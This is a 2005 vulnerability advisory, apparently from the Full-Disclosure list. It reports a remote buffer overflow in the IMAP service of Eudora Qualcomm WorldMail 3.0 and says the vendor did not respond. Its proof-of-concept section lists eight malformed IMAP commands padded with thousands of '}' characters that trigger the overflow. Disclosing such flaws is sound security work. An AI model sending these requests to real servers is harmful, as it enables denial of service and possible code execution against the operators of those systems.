-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-
ACS Security Assessment Advisory - Buffer Overflow
ID: ACSSEC-2005-11-27 - 0x1
Class: Buffer Overflow
Package: Eudora Qualcomm WorldMail 3.0 IMAP4 Service 6.1.19.0
Build: Windows NT/2k/XP/2k3
Notified: Dec 01, 2005
Released: Dec 21, 2005
Remote: Yes
Severity: Medium
Credit: Tim Shelton <security-advisories_at_acs-inc.com>
-=[+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++]=-
-=[ Background
WorldMail 3 email and messaging server for small to large
enterprises combines the features needed for today's cluttered
email environment. WorldMail 3 combines the latest security
tools required to stop abuse, spam, viruses and
Directory Harvest Attacks (DHA). Other features include; a
web-based email client, multi-level administration privileges
and tools for migrating from WorldMail 2, OpenWave Post.Office,
Ipswitch iMail and others.
-=[ Technical Description
Eudora Qualcomm WorldMail 3.0 IMAPd Service 6.1.19.0 (and possibly others)
is vulnerable to a buffer overflow via a specially crafted IMAP requests.
A remote attacker could issue the vulnerable command followed by malicious
code to execute arbitrary code or lead to a denial of service.
-=[ Proof of Concepts
IMAP REQUEST: '02 LIST ""' + '}'x 5000
IMAP REQUEST: '03 LSUB ""' + '}'x 32762
IMAP REQUEST: '04 SEARCH TEXT ' + '}'x32762
IMAP REQUEST: '05 STATUS INBOX ' + '}'x32764
IMAP REQUEST: '02 AUTHENTICATE ' + '}'x32768
IMAP REQUEST: '02 FETCH 2:4 ' + '}'x10000
IMAP REQUEST: '02 SELECT ' + '}'x10000
IMAP REQUEST: '02 COPY 2:4 ' + '}'x32765
-=[ Solution
No remedy available as of December 2005.
-=[ Credits
Vulnerability originally reported by Tim Shelton
-=[ Similar References
http://www.idefense.com/application/poi/display?id=341&type=vulnerabilities
-=[ ChangeLog
2005-11-27 : Original Advisory
2005-12-01 : Vendor Notified
2005-12-20 : No response from vendor, disclosing full information.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Received on Dec 20 2005
Intro
